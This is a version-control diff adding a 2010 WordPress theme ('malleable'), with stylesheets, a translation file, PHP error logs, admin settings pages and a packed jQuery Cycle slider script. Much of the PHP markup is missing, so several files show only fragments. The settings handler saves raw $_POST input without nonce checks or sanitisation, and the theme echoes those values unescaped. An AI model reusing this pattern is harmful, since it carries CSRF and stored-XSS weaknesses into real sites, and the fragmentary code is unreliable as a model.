line-height:1.333; +} +.line_numbers pre { + padding-left:10px; +} +.wp_syntax table, +.post .content .wp_syntax table { + border-collapse:collapse; + background:#F7F7F7; + border:none; + margin:0; +} +.wp_syntax td, +.post .content .wp_syntax td { + border-top:none; + padding:2px 4px; + border:none; +} +.wp_syntax .line_numbers, +.post .content .wp_syntax .line_numbers { + text-align:right; + color:#666; + overflow:visible; + background:#E3E4E6; + border-right:1px solid #CCC; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/malleable/en_EN.mo Binary file web/wp-content/themes/malleable/en_EN.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/malleable/en_EN.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/malleable/en_EN.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,130 @@ +msgid "" +msgstr "" +"Project-Id-Version: Hybrid News WordPress Theme\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-06-18 02:32+0900\n" +"PO-Revision-Date: \n" +"Last-Translator: Justin Tadlock \n" +"Language-Team: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: English\n" +"X-Poedit-Country: UNITED STATES\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: .\n" +"X-Poedit-SearchPath-0: .\n" + +#: front-page.php:37 +msgid "Full Story »" +msgstr "" + +#: front-page.php:49 +msgid "Previous Post" +msgstr "" + +#: front-page.php:49 +msgid "Previous" +msgstr "" + +#: front-page.php:50 +msgid "Pause" +msgstr "" + +#: front-page.php:51 +msgid "Next Post" +msgstr "" + +#: front-page.php:51 +msgid "Next" +msgstr "" + +#: functions.php:72 +msgid "Subscribe to the feed" +msgstr "" + +#: functions.php:72 +msgid "Subscribe" +msgstr "" + +#: functions.php:84 +msgid "Tertiary" +msgstr "" + +#: functions.php:85 +msgid "Utility: Header" +msgstr "" + +#: functions.php:170 +msgid "Medium/Feature:" +msgstr "" + +#: library/admin/general.php:8 +msgid "Front Page template settings" +msgstr "" + +#: library/admin/general.php:16 +msgid "Feature Category:" +msgstr "" + +#: library/admin/general.php:28 +msgid "Leave blank to use sticky posts." +msgstr "" + +#: library/admin/general.php:33 +msgid "Featured Posts:" +msgstr "" + +#: library/admin/general.php:37 +msgid "How many feature posts should be shown?" +msgstr "" + +#: library/admin/general.php:43 +msgid "Excerpts Category:" +msgstr "" + +#: library/admin/general.php:60 +msgid "Excerpts Posts:" +msgstr "" + +#: library/admin/general.php:64 +msgid "How many excerpts should be shown?" +msgstr "" + +#: library/admin/general.php:70 +msgid "Headline Categories:" +msgstr "" + +#: library/admin/general.php:74 +msgid "Multiple categories may be chosen by holding the Ctrl key and selecting." +msgstr "" + +#: library/admin/general.php:91 +msgid "Headlines Posts:" +msgstr "" + +#: library/admin/general.php:95 +msgid "How many posts should be shown per headline category?" +msgstr "" + +#: library/admin/theme-settings-admin.php:33 +#: library/admin/theme-settings.php:15 +msgid "Hybrid News" +msgstr "" + +#: library/admin/theme-settings-admin.php:34 +msgid "Hybrid News Theme Settings" +msgstr "" + +#: library/admin/theme-settings-admin.php:79 +msgid "Settings saved." +msgstr "" + +#: library/admin/theme-settings-xhtml.php:8 +msgid "Save Changes" +msgstr "" + +#: library/admin/theme-settings.php:15 +msgid "Hybrid News Settings" +msgstr "" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/malleable/error_log --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/malleable/error_log Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,14 @@ +[31-Jan-2010 23:25:30] PHP Fatal error: Call to undefined function get_header() in /home/devdal1/public_html/wp-content/themes/malleable/front-page.php on line 8 +[31-Jan-2010 23:25:39] PHP Fatal error: Call to undefined function get_header() in /home/devdal1/public_html/wp-content/themes/malleable/front-page.php on line 8 +[31-Jan-2010 23:26:06] PHP Fatal error: Call to undefined function get_header() in /home/devdal1/public_html/wp-content/themes/malleable/front-page.php on line 8 +[31-Jan-2010 23:26:25] PHP Fatal error: Call to undefined function get_header() in /home/devdal1/public_html/wp-content/themes/malleable/front-page.php on line 8 +[31-Jan-2010 23:26:49] PHP Fatal error: Call to undefined function get_stylesheet_directory() in /home/devdal1/public_html/wp-content/themes/malleable/functions.php on line 12 +[31-Jan-2010 23:28:41] PHP Fatal error: Call to undefined function get_header() in /home/devdal1/public_html/wp-content/themes/malleable/front-page.php on line 8 +[31-Jan-2010 23:28:55] PHP Fatal error: Call to undefined function get_stylesheet_directory() in /home/devdal1/public_html/wp-content/themes/malleable/functions.php on line 12 +[31-Jan-2010 23:51:03] PHP Fatal error: Call to undefined function get_stylesheet_directory() in /home/devdal1/public_html/wp-content/themes/malleable/functions.php on line 12 +[31-Jan-2010 23:51:15] PHP Fatal error: Call to undefined function get_stylesheet_directory() in /home/devdal1/public_html/wp-content/themes/malleable/functions.php on line 12 +[31-Jan-2010 23:51:42] PHP Fatal error: Call to undefined function get_header() in /home/devdal1/public_html/wp-content/themes/malleable/front-page.php on line 8 +[31-Jan-2010 23:57:49] PHP Fatal error: Call to undefined function get_header() in /home/devdal1/public_html/wp-content/themes/malleable/front-page.php on line 8 +[01-Feb-2010 00:03:26] PHP Fatal error: Call to undefined function get_stylesheet_directory() in /home/devdal1/public_html/wp-content/themes/malleable/functions.php on line 12 +[01-Feb-2010 00:08:29] PHP Fatal error: Call to undefined function get_stylesheet_directory() in /home/devdal1/public_html/wp-content/themes/malleable/functions.php on line 12 +[01-Feb-2010 00:08:55] PHP Fatal error: Call to undefined function get_stylesheet_directory() in /home/devdal1/public_html/wp-content/themes/malleable/functions.php on line 12 diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/malleable/front-page.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/malleable/front-page.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,178 @@ +/** + * Front Page Stylesheet + * This is only loaded when using the front-page.php page template + * + * @since 0.1 + */ + +/** +* Featured slider +************************************************/ +#slider-container { + background: #000; + border-bottom: 10px solid #ddd; + color: #fff; + height: 325px; + margin: -20px 0 20px -20px; + overflow: hidden; + padding: 20px; + position: relative; + width: 600px; + } +#slider { + overflow: hidden; + width: 580px; + height: 325px; + } +.feature { + overflow: hidden; + width: 580px; + height: 325px; + padding: 0; + border: none !important; + } +.feature a { + color: #fff; + } +.feature-image-container { + text-align: center; +} +.feature-image-container a { + height: 335px; +} +.feature img { + border: 5px solid #333; + margin: 0 0 0 10px; + max-width: 300px; + max-height: 300px; + float: right; + vertical-align: bottom; + } +#slider .feature .entry-title { + font-size: 21px; + } +#slider .feature .entry-title a { + color: #fff; + } +.feature .byline { + color: #aaa; + margin-bottom: 15px; + } +.more-link { + float: left; + text-indent: -9999px; + width: 100px; + height: 20px; + display: block; + background: url(images/more-link.gif) no-repeat 0 0; + } +.more-link:hover { + background: url(images/more-link.gif) no-repeat 0 -20px; + } + +/* Slider controls */ +.slider-controls { bottom: 10px; position: absolute; right: 30px; z-index: 8888; } +.slider-controls a { border-bottom:1px solid #666; border-right:1px solid #666; background: #000; color: #999; font-size: 10px; font-weight: normal; text-decoration: none; margin: 0 3px; padding: 2px 8px; } +.slider-controls a.activeSlide { background: #f9f9f9; color: #000; } +.slider-controls a:focus { outline: none; } + +/** +* Featured excerpts +************************************************/ +#excerpts { + margin: 0 0 20px; + overflow: hidden; +} +#excerpts .post { + margin: 0 5px !important; + padding: 5px; + width: 46%; +} +#excerpts .post.odd { + clear: left; + float: left; +} +#excerpts .post.even { + clear: right; + float: right; +} +#excerpts .entry-summary { + font-size: 11px; +} +#excerpts .post .thumbnail { + margin: 0 10px 10px 0; +} +.content .entry-title, #content .entry-title { + margin-bottom: 3px; + font-weight: bold; + } +.byline { + margin-bottom: 3px; + } + +.post { + border-top: 1px solid #ddd; + } + +.page-template-front-page .entry-meta { + display: none; + } + +/** +* Headlines +************************************************/ +.section-title { + font-size: 18px; + font-weight: bold; + margin: 0 0 5px 0; + padding: 0 0 5px 0; + border-bottom: 1px solid #777; + } +.section-title a { + color: #000; + } +#headlines .section-title { + } +#headlines { + background: #444; + margin: -20px -20px 0; + padding: 20px; + overflow: hidden; + } + +#headlines .section { + -moz-border-radius:5px; + background: #555; + border: 1px solid #666; + overflow: hidden; + width: 260px; + margin: 0 0 20px; + padding: 10px; + } +#headlines .section a { + color: #fff; + } +#headlines .even { + float: right; + clear: none; + } +#headlines .odd { + clear: both; + float: left; + } +#headlines ul { + font-size: 11px; + margin-left: 5px; + } +#headlines ul li { + background: none; + padding: 0; + } + +#content .post, .content .post { + clear: both; + margin-bottom: 20px; + } +.wp-pagenavi, .navigation-links { + display: none; + } \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/malleable/front-page.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/malleable/front-page.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,116 @@ + + +
    + + + +
    + +
    + + $malleable_settings['feature_category'], 'showposts' => $malleable_settings['feature_num_posts'], 'caller_get_posts' => 1 ); + else + $feature_query = array( 'post__in' => get_option( 'sticky_posts' ), 'showposts' => $malleable_settings['feature_num_posts'] ); + ?> + + + + ID; ?> + +
    + + array( 'Medium', 'Feature Image' ), 'default_size' => 'medium' ) ); ?> + + + +
    + +
    + + + +
    + + + +
    + +
    + +
    + + $malleable_settings['excerpt_category'], 'showposts' => $malleable_settings['excerpt_num_posts'], 'caller_get_posts' => 1, 'post__not_in' => $do_not_duplicate ) ); ?> + + ID; ?> + +
    + + + +
    + array( 'Thumbnail', 'Feature Image Thumbnail' ), 'default_size' => 'thumbnail', 'height' => '125', 'width' => '125' ) ); ?> + +
    + + + +
    + + + +
    + + + +
    + + + + $malleable_settings['headlines_num_posts'], + 'category' => $category, + 'post__not_in' => $do_not_duplicate + ) ); ?> + + + +
    + + + +

    name; ?>

    + +
      + ID; ?> +
    • + +
    + +
    + + + + + + + +
    + + + + + + + +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/malleable/functions.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/malleable/functions.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,152 @@ + 'list', + 'hide_empty' => true, + 'use_desc_for_title' => false, + 'depth' => 4, + 'hierarchical' => true, + 'echo' => false, // Leave as is. + 'title_li' => false, // Leave as is. + ); + + echo "\n\t
    \n\t\t"; + + echo '
    '; + + echo ''; + + echo "\n\t
    \n"; +} + +/** + * Adds JavaScript and CSS to Front Page page template. + * Also removes the breadcrumb menu. + * + * @since 0.1 + */ +function malleable_front_page_template() { + if ( is_page_template( 'front-page.php' ) ) : + wp_enqueue_script( 'slider', MALLEABLE_URL . '/library/js/jquery.cycle.js', array( 'jquery' ), 0.1 ); + wp_enqueue_script( 'slider-functions', MALLEABLE_URL . '/library/js/jquery.functions.js', array( 'jquery' ), 0.1 ); + wp_enqueue_style( 'front-page', MALLEABLE_URL . '/front-page.css', false, '0.1', 'screen' ); + remove_action( 'hybrid_before_content', 'hybrid_breadcrumb' ); + endif; +} + +/** + * Wraps the Primary, Secondary, and Tertiary widget sections. + * + * @since 0.1 + */ +function malleable_widget_container() { + if ( is_active_sidebar( 'primary' ) || is_active_sidebar( 'secondary' ) || is_active_sidebar( 'tertiary' ) ) : + echo '
    '; + hybrid_get_primary(); + hybrid_get_secondary(); + echo '
    '; + endif; +} + +/** + * Shows an author description after the post. + * Only shows on single post. + * + * @since 0.1 + */ +function malleable_author_box() { + global $hybrid_settings; +?> +
    + +

    +

    + +

    +
    + 'Medium', 'default' => '', 'title' => __('Medium/Feature:', 'malleable'), 'type' => 'text', 'show_description' => false, 'description' => false ); + return $meta_boxes; +} + +function malleable_show_address(){ + global $malleable_settings; + if ( $malleable_settings['general_address'] == "yes" ) { + echo '
    '; + echo '
    '. get_bloginfo('title') .'
    '; + echo '
    '; + echo ''. $malleable_settings['general_address_street']. ', '; + echo ''. $malleable_settings['general_address_city']. ', '; + echo ''. $malleable_settings['general_address_state']. ', '; + echo ''. $malleable_settings['general_address_zip']. ' -- '; + echo ''. $malleable_settings['general_address_phone']. ''; + echo '
    '; + echo '
    '; + } +} + +?> \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/malleable/images/bg.gif Binary file web/wp-content/themes/malleable/images/bg.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/malleable/images/bg.png Binary file web/wp-content/themes/malleable/images/bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/malleable/images/bullet.gif Binary file web/wp-content/themes/malleable/images/bullet.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/malleable/images/cat-nav-border.png Binary file web/wp-content/themes/malleable/images/cat-nav-border.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/malleable/images/code.png Binary file web/wp-content/themes/malleable/images/code.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/malleable/images/container-bg.png Binary file web/wp-content/themes/malleable/images/container-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/malleable/images/feed-icon.png Binary file web/wp-content/themes/malleable/images/feed-icon.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/malleable/images/nav-bg.gif Binary file web/wp-content/themes/malleable/images/nav-bg.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/malleable/images/pingback.jpg Binary file web/wp-content/themes/malleable/images/pingback.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/malleable/images/search-icon.png Binary file web/wp-content/themes/malleable/images/search-icon.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/malleable/images/trackback.jpg Binary file web/wp-content/themes/malleable/images/trackback.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/malleable/library/admin/error_log --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/malleable/library/admin/error_log Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,32 @@ +[24-Jan-2010 09:45:07] PHP Fatal error: Call to undefined function get_categories() in /home/devdal1/public_html/wp-content/themes/malleable/library/admin/general.php on line 2 +[31-Jan-2010 23:30:00] PHP Fatal error: Call to undefined function get_categories() in /home/devdal1/public_html/wp-content/themes/malleable/library/admin/general.php on line 2 +[31-Jan-2010 23:30:13] PHP Warning: include(MALLEABLE/library/admin/general.php) [function.include]: failed to open stream: No such file or directory in /home/devdal1/public_html/wp-content/themes/malleable/library/admin/theme-settings-xhtml.php on line 5 +[31-Jan-2010 23:30:13] PHP Warning: include(MALLEABLE/library/admin/general.php) [function.include]: failed to open stream: No such file or directory in /home/devdal1/public_html/wp-content/themes/malleable/library/admin/theme-settings-xhtml.php on line 5 +[31-Jan-2010 23:30:13] PHP Warning: include() [function.include]: Failed opening 'MALLEABLE/library/admin/general.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/devdal1/public_html/wp-content/themes/malleable/library/admin/theme-settings-xhtml.php on line 5 +[31-Jan-2010 23:30:13] PHP Fatal error: Call to undefined function _e() in /home/devdal1/public_html/wp-content/themes/malleable/library/admin/theme-settings-xhtml.php on line 8 +[31-Jan-2010 23:30:17] PHP Warning: include(MALLEABLE/library/admin/general.php) [function.include]: failed to open stream: No such file or directory in /home/devdal1/public_html/wp-content/themes/malleable/library/admin/theme-settings-xhtml.php on line 5 +[31-Jan-2010 23:30:17] PHP Warning: include(MALLEABLE/library/admin/general.php) [function.include]: failed to open stream: No such file or directory in /home/devdal1/public_html/wp-content/themes/malleable/library/admin/theme-settings-xhtml.php on line 5 +[31-Jan-2010 23:30:17] PHP Warning: include() [function.include]: Failed opening 'MALLEABLE/library/admin/general.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/devdal1/public_html/wp-content/themes/malleable/library/admin/theme-settings-xhtml.php on line 5 +[31-Jan-2010 23:30:17] PHP Fatal error: Call to undefined function _e() in /home/devdal1/public_html/wp-content/themes/malleable/library/admin/theme-settings-xhtml.php on line 8 +[31-Jan-2010 23:30:21] PHP Warning: include(MALLEABLE/library/admin/theme-settings-admin.php) [function.include]: failed to open stream: No such file or directory in /home/devdal1/public_html/wp-content/themes/malleable/library/admin/theme-settings.php on line 4 +[31-Jan-2010 23:30:21] PHP Warning: include(MALLEABLE/library/admin/theme-settings-admin.php) [function.include]: failed to open stream: No such file or directory in /home/devdal1/public_html/wp-content/themes/malleable/library/admin/theme-settings.php on line 4 +[31-Jan-2010 23:30:21] PHP Warning: include() [function.include]: Failed opening 'MALLEABLE/library/admin/theme-settings-admin.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/devdal1/public_html/wp-content/themes/malleable/library/admin/theme-settings.php on line 4 +[31-Jan-2010 23:30:21] PHP Fatal error: Call to undefined function add_action() in /home/devdal1/public_html/wp-content/themes/malleable/library/admin/theme-settings.php on line 7 +[31-Jan-2010 23:30:23] PHP Warning: include(MALLEABLE/library/admin/theme-settings-admin.php) [function.include]: failed to open stream: No such file or directory in /home/devdal1/public_html/wp-content/themes/malleable/library/admin/theme-settings.php on line 4 +[31-Jan-2010 23:30:23] PHP Warning: include(MALLEABLE/library/admin/theme-settings-admin.php) [function.include]: failed to open stream: No such file or directory in /home/devdal1/public_html/wp-content/themes/malleable/library/admin/theme-settings.php on line 4 +[31-Jan-2010 23:30:23] PHP Warning: include() [function.include]: Failed opening 'MALLEABLE/library/admin/theme-settings-admin.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/devdal1/public_html/wp-content/themes/malleable/library/admin/theme-settings.php on line 4 +[31-Jan-2010 23:30:23] PHP Fatal error: Call to undefined function add_action() in /home/devdal1/public_html/wp-content/themes/malleable/library/admin/theme-settings.php on line 7 +[31-Jan-2010 23:32:13] PHP Fatal error: Call to undefined function get_categories() in /home/devdal1/public_html/wp-content/themes/malleable/library/admin/general.php on line 2 +[31-Jan-2010 23:32:34] PHP Warning: include(MALLEABLE/library/admin/general.php) [function.include]: failed to open stream: No such file or directory in /home/devdal1/public_html/wp-content/themes/malleable/library/admin/theme-settings-xhtml.php on line 5 +[31-Jan-2010 23:32:34] PHP Warning: include(MALLEABLE/library/admin/general.php) [function.include]: failed to open stream: No such file or directory in /home/devdal1/public_html/wp-content/themes/malleable/library/admin/theme-settings-xhtml.php on line 5 +[31-Jan-2010 23:32:34] PHP Warning: include() [function.include]: Failed opening 'MALLEABLE/library/admin/general.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/devdal1/public_html/wp-content/themes/malleable/library/admin/theme-settings-xhtml.php on line 5 +[31-Jan-2010 23:32:34] PHP Fatal error: Call to undefined function _e() in /home/devdal1/public_html/wp-content/themes/malleable/library/admin/theme-settings-xhtml.php on line 8 +[31-Jan-2010 23:32:42] PHP Warning: include(MALLEABLE/library/admin/theme-settings-admin.php) [function.include]: failed to open stream: No such file or directory in /home/devdal1/public_html/wp-content/themes/malleable/library/admin/theme-settings.php on line 4 +[31-Jan-2010 23:32:42] PHP Warning: include(MALLEABLE/library/admin/theme-settings-admin.php) [function.include]: failed to open stream: No such file or directory in /home/devdal1/public_html/wp-content/themes/malleable/library/admin/theme-settings.php on line 4 +[31-Jan-2010 23:32:42] PHP Warning: include() [function.include]: Failed opening 'MALLEABLE/library/admin/theme-settings-admin.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/devdal1/public_html/wp-content/themes/malleable/library/admin/theme-settings.php on line 4 +[31-Jan-2010 23:32:42] PHP Fatal error: Call to undefined function add_action() in /home/devdal1/public_html/wp-content/themes/malleable/library/admin/theme-settings.php on line 7 +[31-Jan-2010 23:45:16] PHP Warning: include(MALLEABLE/library/admin/theme-settings-admin.php) [function.include]: failed to open stream: No such file or directory in /home/devdal1/public_html/wp-content/themes/malleable/library/admin/theme-settings.php on line 4 +[31-Jan-2010 23:45:16] PHP Warning: include(MALLEABLE/library/admin/theme-settings-admin.php) [function.include]: failed to open stream: No such file or directory in /home/devdal1/public_html/wp-content/themes/malleable/library/admin/theme-settings.php on line 4 +[31-Jan-2010 23:45:16] PHP Warning: include() [function.include]: Failed opening 'MALLEABLE/library/admin/theme-settings-admin.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/devdal1/public_html/wp-content/themes/malleable/library/admin/theme-settings.php on line 4 +[31-Jan-2010 23:45:16] PHP Fatal error: Call to undefined function add_action() in /home/devdal1/public_html/wp-content/themes/malleable/library/admin/theme-settings.php on line 7 +[31-Jan-2010 23:45:33] PHP Fatal error: Call to undefined function get_categories() in /home/devdal1/public_html/wp-content/themes/malleable/library/admin/general.php on line 2 diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/malleable/library/admin/general.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/malleable/library/admin/general.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,139 @@ + + +
    + +

    + +
    + + + + + + + + +
    + +

    This contact information is used to help visitors contact you more easily and it helps search engines better understand where you are.

    +
    + Show address & phone number
    + onclick="showMe()" /> Yes + onclick="showMe()" /> No +
    + +
    + + Street

    + City

    + State

    + Zip

    + Phone
    + +
    + +
    + +
    +
    + +
    + +

    + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + +
    + + + + +
    + + + +
    + + + + +
    + + + +
    + +
    + + + + +
    + +
    +
    \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/malleable/library/admin/theme-settings-admin.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/malleable/library/admin/theme-settings-admin.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,101 @@ + false, + 'general_address_street' => false, + 'general_address_city' => false, + 'general_address_state' => false, + 'general_address_zip' => false, + 'general_address_phone' => false, + + 'feature_category' => false, + 'feature_num_posts' => false, + 'excerpt_category' => false, + 'excerpt_num_posts' => false, + 'headlines_category' => array(), + 'headlines_num_posts' => false, + ); + + return apply_filters('malleable_settings_args', $settings_arr); +} + +/** +* Handles the theme settings +* +* @since 0.1 +*/ +function malleable_theme_page() { + + /* + * Variables to be used throughout the settings page + */ + $theme_name = __('Malleable','malleable'); + $settings_page_title = __('Malleable Theme Settings','malleable'); + $hidden_field_name = 'malleable_submit_hidden'; + + /* + * Get the theme settings and add them to the database + */ + $settings_arr = malleable_theme_settings(); + add_option('malleable_theme_settings', $settings_arr); + + /* + * Set form data IDs the same as settings keys + */ + $settings_keys = array_keys($settings_arr); + foreach($settings_keys as $key) : + $data[$key] = $key; + endforeach; + + /* + * Get existing options from the database + */ + $settings = get_option('malleable_theme_settings'); + + foreach($settings_arr as $key => $value) : + $val[$key] = $settings[$key]; + endforeach; + + /* + * If the form has been set + * Loop through the values + * Set the option in the database + */ + if($_POST[$hidden_field_name] == 'Y') : + + foreach($settings_arr as $key => $value) : + $settings[$key] = $val[$key] = $_POST[$data[$key]]; + endforeach; + + update_option('malleable_theme_settings', $settings); + + /* + * Open main div for the theme settings + */ + echo '
    '; + echo '

    ' . $settings_page_title . '

    '; + echo '
    '; + echo '

    ' . __('Settings saved.','malleable') . '

    '; + echo '
    '; + + else : + echo '
    '; + echo '

    ' . $settings_page_title . '

    '; + + endif; + + /* + * Load the theme settings form + */ + include(MALLEABLE . '/library/admin/theme-settings-xhtml.php'); +} + +?> \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/malleable/library/admin/theme-settings-xhtml.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/malleable/library/admin/theme-settings-xhtml.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,16 @@ +
    + +
    + + + +

    + + +

    + +
    + +
    + +
    \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/malleable/library/admin/theme-settings.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/malleable/library/admin/theme-settings.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,18 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/malleable/library/js/jquery.cycle.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/malleable/library/js/jquery.cycle.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +eval(function(p,a,c,k,e,r){e=function(c){return(c<62?'':e(parseInt(c/62)))+((c=c%62)>35?String.fromCharCode(c+29):c.toString(36))};if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]||e}];e=function(){return'([47-9yA-Z]|[12]\\w)'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}(';(4(j){8 u="2.30";8 t=j.21.22&&/MSIE 6.0/.1t(navigator.userAgent);4 r(){7(23.24&&23.24.2p){23.24.2p("[D] "+Array.prototype.join.call(2q,""))}}j.G.D=4(l){8 s=2q[1];Q A.1r(4(){7(l===undefined||l===R){l={}}7(l.25==2r){switch(l){26"stop":7(A.U){1u(A.U)}A.U=0;j(A).1C("D.1K","");Q;26"27":A.1h=1;Q;26"2s":A.1h=0;7(s===28){l=j(A).1C("D.1K");7(!l){r("2t 1n 2u, 2v 1n 2s");Q}7(A.U){1u(A.U);A.U=0}q(l.1L,l,1,1)}Q;default:l={fx:l}}}S{7(l.25==Number){8 i=l;l=j(A).1C("D.1K");7(!l){r("2t 1n 2u, 2v 1n advance 2w");Q}7(i<0||i>=l.1L.N){r("invalid 2w 1D: "+i);Q}l.P=i;7(A.U){1u(A.U);A.U=0}q(l.1L,l,1,i>=l.1b);Q}}7(A.U){1u(A.U)}A.U=0;A.1h=0;8 b=j(A);8 g=l.29?j(l.29,A):b.children();8 k=g.get();7(k.N<2){r("terminating; too few slides: "+k.N);Q}8 a=j.extend({},j.G.D.2x,l||{},j.2y?b.2y():j.meta?b.1C():{});7(a.2a){a.2b=a.2c||k.N}b.1C("D.1K",a);a.1v=A;a.1L=k;a.J=a.J?[a.J]:[];a.1k=a.1k?[a.1k]:[];a.1k.1M(4(){a.2d=0});7(a.1w){a.1k.L(4(){q(k,a,0,!a.1x)})}7(t&&a.1N&&!a.2z){h(g)}8 o=A.className;a.F=V((o.1E(/w:(\\d+)/)||[])[1])||a.F;a.E=V((o.1E(/h:(\\d+)/)||[])[1])||a.E;a.1c=V((o.1E(/t:(\\d+)/)||[])[1])||a.1c;7(b.y("1O")=="static"){b.y("1O","relative")}7(a.F){b.F(a.F)}7(a.E&&a.E!="1P"){b.E(a.E)}7(a.19){a.19=V(a.19)}7(a.1l){a.1p=[];1F(8 n=0;n=k.N){a.19=0}}8 m=a.19||0;g.y({1O:"2A",B:0,9:0}).W().1r(4(e){8 f=m?e>=m?k.N-(e-m):m-e:k.N-e;j(A).y("z-1D",f)});j(k[m]).y("1i",1).X();7(j.21.22){k[m].2B.2C("2e")}7(a.1m&&a.F){g.F(a.F)}7(a.1m&&a.E&&a.E!="1P"){g.E(a.E)}7(a.27){b.2D(4(){A.1h=1},4(){A.1h=0})}8 v=j.G.D.O[a.fx];7(j.2E(v)){v(b,g,a)}S{7(a.fx!="2f"){r("unknown transition: "+a.fx)}}g.1r(4(){8 e=j(A);A.12=(a.1m&&a.E)?a.E:e.E();A.14=(a.1m&&a.F)?a.F:e.F()});a.C=a.C||{};a.K=a.K||{};a.I=a.I||{};g.1n(":eq("+m+")").y(a.C);7(a.1g){j(g[m]).y(a.1g)}7(a.1c){a.1c=V(a.1c);7(a.1a.25==2r){a.1a=j.fx.speeds[a.1a]||V(a.1a)}7(!a.1Q){a.1a=a.1a/2}while((a.1c-a.1a)<250){a.1c+=a.1a}}7(a.2h){a.1R=a.1S=a.2h}7(!a.1y){a.1y=a.1a}7(!a.1G){a.1G=a.1a}a.2F=k.N;a.1b=m;7(a.1l){a.P=a.1b;7(++a.11==k.N){a.11=0}a.P=a.1p[a.11]}S{a.P=a.19>=(k.N-1)?0:a.19+1}8 p=g[m];7(a.J.N){a.J[0].1T(p,[p,p,a,28])}7(a.1k.N>1){a.1k[1].1T(p,[p,p,a,28])}7(a.1H&&!a.1I){a.1I=a.1H}7(a.1I){j(a.1I).2i("1H",4(){Q w(k,a,a.1x?-1:1)})}7(a.2j){j(a.2j).2i("1H",4(){Q w(k,a,a.1x?1:-1)})}7(a.1q){x(k,a)}a.addSlide=4(e,f){8 c=j(e),d=c[0];7(!a.2c){a.2b++}k[f?"1M":"L"](d);7(a.1d){a.1d[f?"1M":"L"](d)}a.2F=k.N;c.y("1O","2A");c[f?"prependTo":"2G"](b);7(f){a.1b++;a.P++}7(t&&a.1N&&!a.2z){h(c)}7(a.1m&&a.F){c.F(a.F)}7(a.1m&&a.E&&a.E!="1P"){g.E(a.E)}d.12=(a.1m&&a.E)?a.E:c.E();d.14=(a.1m&&a.F)?a.F:c.F();c.y(a.C);7(a.1q){j.G.D.2k(k.N-1,d,j(a.1q),k,a)}7(1U 